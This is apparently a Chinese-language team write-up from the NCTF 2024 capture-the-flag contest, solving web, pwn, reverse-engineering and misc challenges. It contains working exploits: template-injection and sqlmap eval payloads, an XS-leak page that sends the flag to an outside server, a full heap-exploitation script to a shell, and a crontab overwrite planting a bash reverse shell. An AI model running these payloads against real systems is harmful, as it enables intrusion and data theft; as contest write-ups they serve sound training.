战队名:不知道
排名:6
成员:LamentXU、Jerrythepro123、lianjin、Liv
WEB
拉门特许超级无敌详细版:
sqlmap-master
签到题。
sqlmap有个–exec可以执行。直接执行会有编码问题(我也不知道为什么)。但是可以用fromhex绕
payload:
127.0.0.1?id=1 –eval=exec(bytes.fromhex(‘5F5F696D706F72745F5F28276F7327292E73797374656D2827656E762729’))
ez_dash
我是第一个报告非预期的(大声)
根本不需要污染。bottle里<%也可以执行,waf没禁完。
直接打abort回显。秒了。
GET /render?path=<%%20from%20bottle%20import%20abort%0afrom%20subprocess%20import%20getoutput%0aa=getoutput(“env”)%0aabort(404,a)%20%>
ez_dash_revenge
首先污染掉pydash的helpers.RESTRICTED_KEYS,不然拿不到__globals__
POST /setValue?name=pydash HTTP/1.1
{
“path”: “helpers.RESTRICTED_KEYS”,
“value”: “123”
}
然后setval找globals找bottle。改templete的路径,加一个/proc/self
POST /setValue?name=setval HTTP/1.1
{
“path”: “globals.bottle.TEMPLATE_PATH”,
“value”: [“./“,”./views/“,
"/proc/self/"
]
}
随后直接render?path=environ即可
internal_api
XS_leak,通过请求码来泄露。
exp:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Error-Based Attack</title>
</head>
<body>
<script>
let currentFlag = "nctf{";
const chars = "abcdef0123456789-{}";
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function checkCharacter(char) {
return new Promise((resolve) => {
let script = document.createElement('script');
script.src = `http://0.0.0.0:8000/internal/search?s=${currentFlag}${char}`;
script.onload = () => {
document.head.removeChild(script);
resolve(true);
};
script.onerror = () => {
document.head.removeChild(script);
resolve(false);
};
document.head.appendChild(script);
});
}
async function bruteforce() {
try {
while (!currentFlag.endsWith('}')) {
for (let char of chars) {
const isCorrect = await checkCharacter(char);
if (isCorrect) {
currentFlag += char;
window.open(`http://VPS:8000/?flag=${currentFlag}`);
await sleep(50);
break;
}
await sleep(50);
}
}
} catch (error) {
window.open(`http://VPS:8000/?error=${currentFlag}`);
}
}
bruteforce();
</script>
</body>
</html>
VPS起这个服务,bot访问即可
PWN
unauth-diary
先创造largebin来泄漏libc和堆地址,之后创造一个大小为-1的堆块,这样可以溢出来打tcache poisioning。用stdout结构体打house of apple来调用setcontext来写rop。rop用dup2来改输入输出的fd,这样就能拿到shell了。
from pwn import *
context(arch='amd64',os='linux')
context.terminal = ["tmux", "splitw", "-h"]
#io=process("")
#io=remote("localhost",9999)
io=remote("39.106.16.204", 33245)
r = lambda a : io.recv(a)
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
shell = lambda : io.interactive()
def debug(script=""):
gdb.attach(io, gdbscript=script)
def add(size, content):
sla(">", "1")
sla(":", str(size))
sla(":", content)
def free(idx):
sla(">", "2")
sla(":", str(idx))
def view(idx):
sla(">", "4")
sla(":", str(idx))
def edit(idx, content):
sla(">", "3")
sla(":", str(idx))
sla(":", content)
for i in range(8):
add(0x500, "A"*4)
add(0x10, "A"*8)
for i in range(8):
free(i)
add(0x10, "A"*8)
add(0x10, "A"*8)
add(0x10, "A"*8)
add(0x10, "A"*8)
add(0x10, "A")
add(0x200, "A"*8)
add(0x300, "A"*8)
view(5)
ru("A"*8)
libc=u64(r(8))-0x203b00
print hex(libc)
view(6)
ru("A"*8)
heap=u64(r(8))-0x1200
print hex(heap)
edit(6, "/bin/sh\0")
add(-1, "A"*8) #7
add(0x101, "A"*8)
add(0x101, "A"*8)
free(10)
free(9)
stdout=libc+0x2045c0
io_list_all=libc+0x2044c0
target=(io_list_all)^(heap+0x1060)>>12
target1=(stdout)^(heap+0x1080)>>12
p="A"*0x10+p64(0)+p64(0x21)+p64(target)
p+=p64(0)+p64(0)+p64(0x111)+p64(target1)
fake_io_addr=heap+0xd20
edit(7, p)
add(0x101, p64(fake_io_addr))
system=libc+0x58750
environ=libc+0x20ad58
_IO_wfile_jumps=libc+0x202228
setcontext=libc+0x4a99d
rop_addr=heap+0x850
rax=libc+0xdd237
rdi=libc+0x158748
rsi=libc+0x02b46b
syscall=libc+0x127185+4
rsp=libc+0x5ef6f
rdx=libc+0x162e3a
rop=p64(rax)+p64(0x21)
rop+=p64(rdi)+p64(4)+p64(0)*5
rop+=p64(rsi)+p64(0)*2
rop+=p64(syscall)
rop+=p64(rax)+p64(0x21)
rop+=p64(rdi)+p64(4)+p64(0)*5
rop+=p64(rsi)+p64(1)*2
rop+=p64(syscall)
rop+=p64(rax)+p64(0x3b)
rop+=p64(rdi)+p64(heap+0xd20)+p64(0)*5
rop+=p64(rsi)+p64(0)+p64(heap+0x978+0x28)
rop+=p64(rdx)+p64(0)*3+p64(heap+0x978+0x28)
rop+=p64(syscall)
edit(5, rop)
fake_io = flat({
0x0: " sh;",
0x10: p64(setcontext),
0x20: p64(stdout),
0x88: p64(rop_addr), # _lock
0xa0: p64(stdout),
0xa8: p64(rsp),
0xd8: p64(_IO_wfile_jumps + 0x10),
0xe0: p64(stdout-8),
}, filler=b"\x00")
add(0x101, fake_io)
shell()
RE
ezDOS
程序中间出现的花指令都直接nop去除,然后Apply patch到程序。
程序要求输入38长度字符串,然后进行一系列变种类RC4算法加密,然后与0x141地址的38字节数据进行比对。
使用dosbox动调,在FA代码处是对取出的al对输入的字符串进行xor加密。0x32是取出的异或值,0x31是输入的字符’1’。
直接debug一直循环执行这边,即可拿到对输入字符串异或的一系列异或值。
32 7d 59 7a f3 0d b3 7b 64 8c eb 28 c4 a4 50 30 a0 ed 27 6a e3 76 69 0c da 28 f8 08 ba a6 17 3e 12 59 45 06 4e f1
取出0x142地址的38字节,进行异或即可得到解密flag。
SafeProgram
核心加密是一个SM4加密。
查看byte_14002A0D0数组交叉引用,发现在其他函数被访问过。
发现是在VEH异常Handler里面调用的,第一个AddVectoredExceptionHandler得直接nop,不然运行就直接退出。
然后在这个函数开头断点,使用ScyllaHide插件一键去除反调试,防止其他地方的反调试。
main函数可以看到要求输入格式为NCTF{…}的长度38字符串,然后运行到箭头函数会触发除0异常,然后就会触发VEH那个Handler导致那个byte数组被修改,需要提取的数据是被改后的。
动调时提取这三个数组数据,进行解密即可。
key是main函数两次memcpy那边的数据,结果如下。
解密代码:
#include <iostream>
#include <string>
#include <windows.h>
#include <vector>
unsigned char byte_7FF699A4A0D0[256] = {
0xD1, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
0xE4, 0xB3, 0x17, 0xA9, 0x1C, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
0x47, 0x07, 0xA7, 0x4F, 0xF3, 0x73, 0x71, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0xD6, 0xA8,
0x68, 0x6B, 0x81, 0xB2, 0xFC, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
0x1E, 0x24, 0x0E, 0x78, 0x63, 0x58, 0x9F, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x21, 0xC9, 0x87,
0xD4, 0x00, 0x46, 0x57, 0x5E, 0xD3, 0x27, 0x52, 0x4C, 0x36, 0x02, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E,
0xEA, 0xBF, 0x8A, 0xD2, 0x40, 0xC7, 0x38, 0xB5, 0xA3, 0xF7, 0xF2, 0xCE, 0xF9, 0x61, 0x15, 0xA1,
0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34, 0x1A, 0x55, 0xAD, 0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3,
0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29, 0x23, 0xAB, 0x0D, 0x53, 0x4E, 0x6F,
0xD5, 0xDB, 0x37, 0x45, 0xDE, 0xFD, 0x8E, 0x2F, 0x03, 0xFF, 0x6A, 0x72, 0x6D, 0x6C, 0x5B, 0x51,
0x8D, 0x1B, 0xAF, 0x92, 0xBB, 0xDD, 0xBC, 0x7F, 0x11, 0xD9, 0x5C, 0x41, 0x1F, 0x10, 0x5A, 0xD8,
0x0A, 0xC1, 0x31, 0x88, 0xA5, 0xCD, 0x7B, 0xBD, 0x2D, 0x74, 0xD0, 0x12, 0xB8, 0xE5, 0xB4, 0xB0,
0x89, 0x69, 0x97, 0x4A, 0x0C, 0x96, 0x77, 0x7E, 0x65, 0xB9, 0xF1, 0x09, 0xC5, 0x6E, 0xC6, 0x84,
0x18, 0xF0, 0x7D, 0xEC, 0x3A, 0xDC, 0x4D, 0x20, 0x79, 0xEE, 0x5F, 0x3E, 0xD7, 0xCB, 0x39, 0x48
};
unsigned int dword_7FF699A4A040[32] = {
0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269, 0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249, 0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229, 0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209, 0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
};
unsigned int dword_7FF699A4A028[4] = {
0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC
};
static inline uint32_t rotate_left(uint32_t x, int n)
{
return (x << n) | (x >> (32 - n));
}
static void generate_buf(const uint8_t* key, uint32_t* buf)
{
for (int i = 0; i < 4; i++)
{
uint32_t key_dword;
memcpy(&key_dword, key + 4 * i, 4);
uint32_t converted_key = ((key_dword & 0xFF) << 24) |
((key_dword & 0xFF00) << 8) |
((key_dword >> 8) & 0xFF00) |
((key_dword >> 24) & 0xFF);
buf[i] = dword_7FF699A4A028[i] ^ converted_key;
}
for (int j = 0; j < 32; j++)
{
uint32_t v12 = dword_7FF699A4A040[j] ^ buf[j + 3] ^ buf[j + 2] ^ buf[j + 1];
uint8_t* v12_bytes = (uint8_t*)&v12;
for (int k = 0; k < 4; k++)
{
v12_bytes[k] = byte_7FF699A4A0D0[v12_bytes[k]];
}
uint32_t rot1 = rotate_left(v12, 23);
uint32_t rot2 = rotate_left(v12, 13);
buf[j + 4] = (rot1 ^ rot2 ^ v12) ^ buf[j];
}
}
void decrypt(const uint8_t* ciphertext, const uint8_t* key, uint8_t* plaintext)
{
uint32_t buf[36] = { 0 };
uint32_t buf_1[36] = { 0 };
generate_buf(key, buf);
for (int ii = 0; ii < 4; ii++)
{
uint32_t cipher_dword;
memcpy(&cipher_dword, ciphertext + 4 * ii, 4);
buf_1[35 - ii] = ((cipher_dword >> 24) & 0xFF) |
((cipher_dword >> 8) & 0xFF00) |
((cipher_dword << 8) & 0xFF0000) |
((cipher_dword << 24) & 0xFF000000);
}
for (int m = 31; m >= 0; m--)
{
uint32_t v12_0 = buf[m + 4] ^ buf_1[m + 3] ^ buf_1[m + 2] ^ buf_1[m + 1];
uint8_t* v12_bytes = (uint8_t*)&v12_0;
for (int n = 0; n < 4; n++)
{
v12_bytes[n] = byte_7FF699A4A0D0[v12_bytes[n]];
}
uint32_t rot1 = rotate_left(v12_0, 24);
uint32_t rot2 = rotate_left(v12_0, 18);
uint32_t rot3 = rotate_left(v12_0, 10);
uint32_t rot4 = rotate_left(v12_0, 2);
uint32_t L_result = rot1 ^ rot2 ^ rot3 ^ rot4 ^ v12_0;
buf_1[m] = buf_1[m + 4] ^ L_result;
}
for (int i = 0; i < 4; i++)
{
uint32_t v11 = buf_1[i];
uint8_t b0 = (v11 >> 24) & 0xFF;
uint8_t b1 = (v11 >> 16) & 0xFF;
uint8_t b2 = (v11 >> 8) & 0xFF;
uint8_t b3 = v11 & 0xFF;
uint32_t le = (b3 << 24) | (b2 << 16) | (b1 << 8) | b0;
memcpy(plaintext + 4 * i, &le, 4);
}
}
int main_safe()
{
uint8_t key[] = "NCTF24nctfNCTF24";
unsigned char enc[32] = {
0xFB, 0x97, 0x3C, 0x3B, 0xF1, 0x99, 0x12, 0xDF, 0x13, 0x30, 0xF7, 0xD8, 0x7F, 0xEB, 0xA0, 0x6C,
0x14, 0x5B, 0xA6, 0x2A, 0xA8, 0x05, 0xA5, 0xF3, 0x76, 0xBE, 0xC9, 0x01, 0xF9, 0x36, 0x7B, 0x46
};
unsigned char flag[32]{};
decrypt(enc, key, flag);
decrypt(enc+16, key, flag+16);
printf("NCTF{%.32s}\n", flag);
return 0;
}
gogo
main_main函数可以看到是将输入分块通过channel进行协程通信。
在main_main函数附件有一个带VM名字的函数,里面就是接收main那边发送的数据,然后底下有个函数执行,是通过操作数进行调用函数计算。这边一系列计算函数也印证想法。
对每个vm的函数都下断点输出,如XOR这样:
运行输入可以得到一堆伪代码计算过程,通过看到9e3779b9以及计算的特征,可以发现是XXTEA变种。
通过分析可得知是将flag分成两份,20字节为一组,分别进行两种变种XXTEA计算,Key也不一样,不过都在这里面可以找到Key。
还原加密代码如下,基于标准XXTEA进行修改的:
#define DELTA 0x9e3779b9
#define MX (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z)))
#define MX2 (((z << 5 ^ y >> 2) + (y << 3 ^ z >> 4)) ^ ((sum ^ y) + (key2[(p & 3) ^ e] ^ z)))
uint32_t key[]{ 0x6e637466, 0x62ef0ed ,0xa78c0b4f, 0x32303234 };
uint32_t key2[]{ 0x32303234, 0xd6eb12c3, 0x9f1cf72e, 0x4e435446 };
void xxtea_1(uint32_t* v, int n)
{
uint32_t y, z, sum;
unsigned p, rounds, e;
rounds = 16;
sum = 0;
z = v[n - 1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < 5; p++)
{
y = v[(p + 1) % 5];
z = v[p] += MX;
}
} while (--rounds);
}
void xxtea_2(uint32_t* v, int n)
{
uint32_t y, z, sum;
unsigned p, rounds, e;
rounds = 16;
sum = 0;
z = v[n - 1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < 5; p++)
{
y = v[(p + 1) % 5];
z = v[p] += MX2;
}
} while (--rounds);
}
在main_RET函数可以看到两组字符串的比对,都是20长度的比对,这两个数据就是加密后的flag了,提取出来分别进行解密即可。
解密代码:
#include <iostream>
#define DELTA 0x9e3779b9
#define MX (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z)))
#define MX2 (((z << 5 ^ y >> 2) + (y << 3 ^ z >> 4)) ^ ((sum ^ y) + (key2[(p & 3) ^ e] ^ z)))
uint32_t key[]{ 0x6e637466, 0x62ef0ed ,0xa78c0b4f, 0x32303234 };
uint32_t key2[]{ 0x32303234, 0xd6eb12c3, 0x9f1cf72e, 0x4e435446 };
void xxtea_decrypt1(uint32_t* v, int n)
{
uint32_t y, z, sum;
unsigned rounds, e;
rounds = 16;
sum = DELTA * rounds;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (int p = 5 - 1; p >= 0; p--)
{
if (p == 0)
z = v[4];
else
z = v[(p-1)%5];
if (p == 4)
y = v[0];
else
y = v[p + 1];
v[p] -= MX;
}
sum -= DELTA;
} while (--rounds);
}
void xxtea_decrypt2(uint32_t* v, int n)
{
uint32_t y, z, sum;
unsigned rounds, e;
rounds = 16;
sum = DELTA * rounds;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (int p = 5 - 1; p >= 0; p--)
{
if (p == 0)
z = v[4];
else
z = v[(p - 1) % 5];
if (p == 4)
y = v[0];
else
y = v[p + 1];
v[p] -= MX2;
}
sum -= DELTA;
} while (--rounds);
}
int main()
{
unsigned char enc1[] =
{
0x5D, 0x45, 0xD5, 0xB9, 0x8C, 0x95, 0x9C, 0x38, 0x3B, 0xB1,
0x3E, 0x1E, 0x5F, 0xC8, 0xE8, 0xBB, 0x64, 0x38, 0x48, 0x69
};
unsigned char enc2[] =
{
0xDE, 0x81, 0xD8, 0xAD, 0xC2, 0xC4, 0xA6, 0x32, 0x1C, 0xAB,
0x61, 0x3E, 0xCB, 0xFF, 0xEF, 0xF1, 0x27, 0x30, 0x7A, 0x16
};
xxtea_decrypt1((uint32_t*)enc1, 5);
xxtea_decrypt2((uint32_t*)enc2, 5);
printf("%.20s%.20s\n", enc1,enc2);
return 0;
}
MISC
X1crypsc
题目使用random库生成随机数,基于mt19937-32算法,选择W可以任意获取随机数数据,构造矩阵即可逆向mt19937的状态,即可预测随机数,攻击成功后进入下面的黑盒阶段。
from pwn import *
from random import Random
import sys
from Crypto.Util.number import *
from random import *
from tqdm import *
# ==========================
# Phase 1: 收集PRNG输出数据
# ==========================
def collect_bits(p):
print("[+] Collecting 624*32 bits for MT19937 state...")
bits_collected = 0
D=[]
while bits_collected < 625 * 32:
p.sendlineafter(b'option:', b'W') # 选择武器刷新
p.recvuntil(b'Current attack value: ')
line = p.recvline().decode()
low, high = map(int, line.split(' ~ '))
base = low
add = high - base
val1 = base
val2 = add
D.append(val1)
D.append(val2)
p.sendline(b'y')
bits_collected += 32
sys.stdout.write(f"\rBits collected: {bits_collected}/20000")
sys.stdout.flush()
# 发送'n'不继续刷新
p.sendlineafter(b'?', b'n')
print(len(D))
return D
# ==========================
# Phase 2: 预测坐标并攻击
# ==========================
def attack_monster(p, predictor,D):
print('[+]')
while True:
# 预测下一个randrange(2025) x和y
x = predictor.randrange(2025)
y = predictor.randrange(2025)
print(x,y)
# 发送攻击指令
p.recvuntil(b'option:')
p.sendline(b'A')
p.recvuntil(b'aim:')
p.sendline(f"{x} {y}".encode())
resp = p.recvuntil(b'\n').decode()
a=predictor.randint(D[-2],D[-1])
if b'Victory' in p.recvline():
print('-------------------------------------------------')
print(p.recv(1000))
return
#--------------------------------------------------------------
context(log_level="debug")
p = remote('39.106.16.204', 11448)
Dall = collect_bits(p)
print(Dall)
n=1250
D=Dall[:n]
rng=Random()
def getRows(rng):
row=[]
for i in range(n):
row+=list(map(int, (bin(rng.getrandbits(16))[2:].zfill(16))))
return row
M=[]
for i in (range(19968)):
state = [0]*624
temp = "0"*i + "1"*1 + "0"*(19968-1-i)
for j in range(624):
state[j] = int(temp[32*j:32*j+32],2)
rng.setstate((3,tuple(state+[624]),None))
M.append(getRows(rng))
print('--------------------------------------------------')
M=Matrix(GF(2),M)
y=[]
for i in range(n):
y+=list(map(int, (bin(D[i])[2:].zfill(16))))
y=vector(GF(2),y)
s=M.solve_left(y)
G=[]
for i in range(624):
C=0
for j in range(32):
C<<=1
C|=int(s[32*i+j])
G.append(C)
import random
RNG1 = random.Random()
for i in range(624):
G[i]=int(G[i])
RNG1.setstate((int(3),tuple(G+[int(624)]),None))
#------------------------------------------------------------
#控制到当前状态
RNG1.getrandbits(64)
ss=0
d1=[]
while ss < 625 * 32:
d1.append(RNG1.getrandbits(16))
d1.append(RNG1.getrandbits(16))
ss += 32
print(d1[-10:-1])
print('------------att-------------')
attack_monster(p, RNG1,Dall)
p.interactive()
#--------------------------------------------------------------
黑盒部分:
只有输入文件名以及输入文件内容这些功能
发现可以文件名任意写,覆盖crontab定时任务,执行shellcode来远程操控
....//....//....//....//etc/crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'
获得shell后寻找flag
#linux命令:
find / -type f -exec grep -l -i "nctf" {} + 2>/dev/null
#Out:
/proc/1/task/1/environ
#linux命令:
cat /proc/1/task/1/environ
#Out:
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=comp-xlcrypsc-67706716887745083pclt4FLAG=nctf{760bd839-02ff-4b4f-b5a9-3b006910963a}KUBERNETES_PORT=tcp://192.168.0.1:443KUBERNETES_PORT_443_TCP=tcp://192.168.0.1:443KUBERNETES_PORT_443_TCP_PROTO=tcpKUBERNETES_PORT_443_TCP_PORT=443KUBERNETES_PORT_443_TCP_ADDR=192.168.0.1KUBERNETES_SERVICE_HOST=192.168.0.1KUBERNETES_SERVICE_PORT=443KUBERNETES_SERVICE_PORT_HTTPS=443HOME=/root
QRcode Reconstruction
手搓。
最后decode是
猜到flag是nctf{WeLc0mE_t0_Nctf_2024!!!}
CRYPTO
爆零O.o